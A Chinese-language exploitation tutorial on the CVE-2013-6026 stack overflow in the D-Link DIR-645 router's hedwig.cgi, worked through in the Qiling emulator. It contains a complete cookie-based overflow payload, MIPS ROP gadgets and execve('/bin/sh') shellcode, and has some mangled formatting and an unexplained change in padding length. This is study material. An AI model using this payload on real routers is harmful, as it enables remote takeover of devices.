使用Qiling分析Dlink DIR-645中的缓冲区溢出(part II)
字数 1202 2025-08-22 12:22:59
D-Link DIR-645 缓冲区溢出漏洞分析与利用教学文档
1. 漏洞概述
本教学文档详细分析D-Link DIR-645路由器中的缓冲区溢出漏洞(CVE-2013-6026),并展示如何使用Qiling框架进行漏洞分析和利用开发。
漏洞位置
- 位于
hedwigcgi_main函数中 - 漏洞触发点:
sprintf(acStack1064,"%s/%s/postxml","/runtime/session",uVar2) - 缓冲区大小:
char acStack1064 [1024]
2. 环境准备
所需工具
- Qiling框架
- Ghidra反编译工具
- GDB调试器
- MIPS交叉编译工具链
固件分析环境搭建
- 提取路由器固件
- 使用Qiling加载目标二进制文件:
from qiling import Qiling
from qiling.const import QL_VERBOSE
path = ["/htdocs/web/hedwig.cgi"]
rootfs = "/squashfs-root"
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
3. 漏洞分析
漏洞成因
sess_get_uid()获取用户控制的UIDsobj_get_string()将UID转换为字符串- 使用
sprintf()将字符串拼接到固定大小的缓冲区中,无长度检查
关键代码片段
sess_get_uid(iVar1);
uVar2 = sobj_get_string(iVar1);
sprintf(acStack1064,"%s/%s/postxml","/runtime/session",uVar2);
溢出计算
- 目标缓冲区地址:
0x7ff3c1e0 - 返回地址位置:
0x7ff3c604($sp+0x4e4) - 偏移量计算:
0x7ff3c604 - 0x7ff3c1e0 = 1060 bytes - 减去固定字符串长度:
len("/runtime/session/") = 17 - 最终填充长度:
1043 bytes
4. 漏洞利用开发
利用步骤
- 构造超长UID触发溢出
- 覆盖返回地址控制执行流
- 实现任意代码执行
基础利用代码
buffer = "uid=%s" % ("A" * 1043)
buffer += "BBBB" # 覆盖返回地址
required_env = {
"REQUEST_METHOD": "POST",
"HTTP_COOKIE": buffer
}
ql = Qiling(path, rootfs, output="none", env=required_env)
5. Qiling框架高级应用
系统调用模拟
# 自定义fork系统调用处理
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
return pid
ql.set_syscall(0xfa2, hook_fork) # MIPS_FORK_SYSCALL = 0xfa2
# 自定义execve系统调用处理
def execve_onenter(ql, pathname, argv, envp, *args):
ql.reg.a1 = 0
ql.reg.a2 = 0
ql.set_syscall(0xfab, execve_onenter, QL_INTERCEPT.ENTER) # MIPS_EXECVE_SYSCALL = 0xfab
内存操作
# 分配内存并写入字符串
cmd = ql.mem.map_anywhere(20)
ql.mem.string(cmd, "/bin/sh")
ql.reg.a0 = cmd # 设置第一个参数
6. MIPS架构利用技术
MIPS调用约定
- 函数地址必须同时存储在\(ra和\)t9寄存器中
- 前4个参数通过\(a0-\)a3传递
- 返回值通过$v0传递
关键寄存器
- $ra: 返回地址
- $t9: 函数指针
- \(a0-\)a3: 函数参数
- $sp: 栈指针
7. ROP链构造
所需Gadget
- Gadget 1: 调用sleep并跳转到$s5
0003bc94 03 00 04 24 li a0,0x3
0003bc98 21 c8 c0 03 move t9,s8
0003bc9c 09 f8 20 03 jalr t9
0003bca0 21 30 00 00 clear a2
0003bca4 21 28 80 02 move a1,s4
0003bca8 0e 00 04 24 li a0,0xe
0003bcac 21 c8 a0 02 move t9,s5
0003bcb0 09 f8 20 03 jalr t9
0003bcb4 21 30 00 00 clear a2
- Gadget 2: 调整堆栈指针并将地址放入$s1
0004dcb4 28 00 b1 27 addiu s1,sp,0x28
0004dcb8 21 20 60 02 move a0,s3
0004dcbc 21 28 20 02 move a1,s1
0004dcc0 21 c8 00 02 move t9,s0
0004dcc4 09 f8 20 03 jalr t9
0004dcc8 01 00 06 24 li __name,0x1
- Gadget 3: 跳转到$s1指向的代码
0001bb44 21 c8 20 02 move t9,s1
0001bb48 09 f8 20 03 jalr t9
0001bb4c 03 00 04 24 li __size,0x3
Shellcode构造
# MIPSEL execve("/bin/sh") shellcode
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
最终Payload构造
buffer = b"uid=%s" % (b"B" * 1003)
buffer += b"AAAA"
buffer += pack("<I", calc_address(0x0001bb44)) # Gadget #3
buffer += b"1111" # $s1
buffer += b"2222" # $s2
buffer += b"1111" # $s3
buffer += b"4444" # $s4
buffer += pack("<I", calc_address(0x0004dcb4)) # Gadget #2
buffer += b"6666" # $s6
buffer += b"7777" # $s7
buffer += pack("<I", 0x77552bd0) # Sleep address
buffer += pack("<I", 0x77527c94) # Overwrites $ra with Gadget #1
buffer += b"\x26\x40\x08\x01" * 30 + shellcode # NOP sled + shellcode
8. 地址计算函数
def calc_address(addr_offset):
LIBC_BASE = 0x774fc000
return LIBC_BASE + addr_offset - 0x10000
9. 验证与测试
测试方法
- 使用Qiling运行漏洞利用代码
- 观察系统调用执行情况
- 验证shell是否成功启动
预期输出
nanosleep(0x7ff3c770, 0x7ff3c770) = 0
execve(//bin/sh,ioctl(0x0, 0x540d, 0x7ff3c8c8) = -1
ioctl(0x1, 0x540d, 0x7ff3c8c8) = -1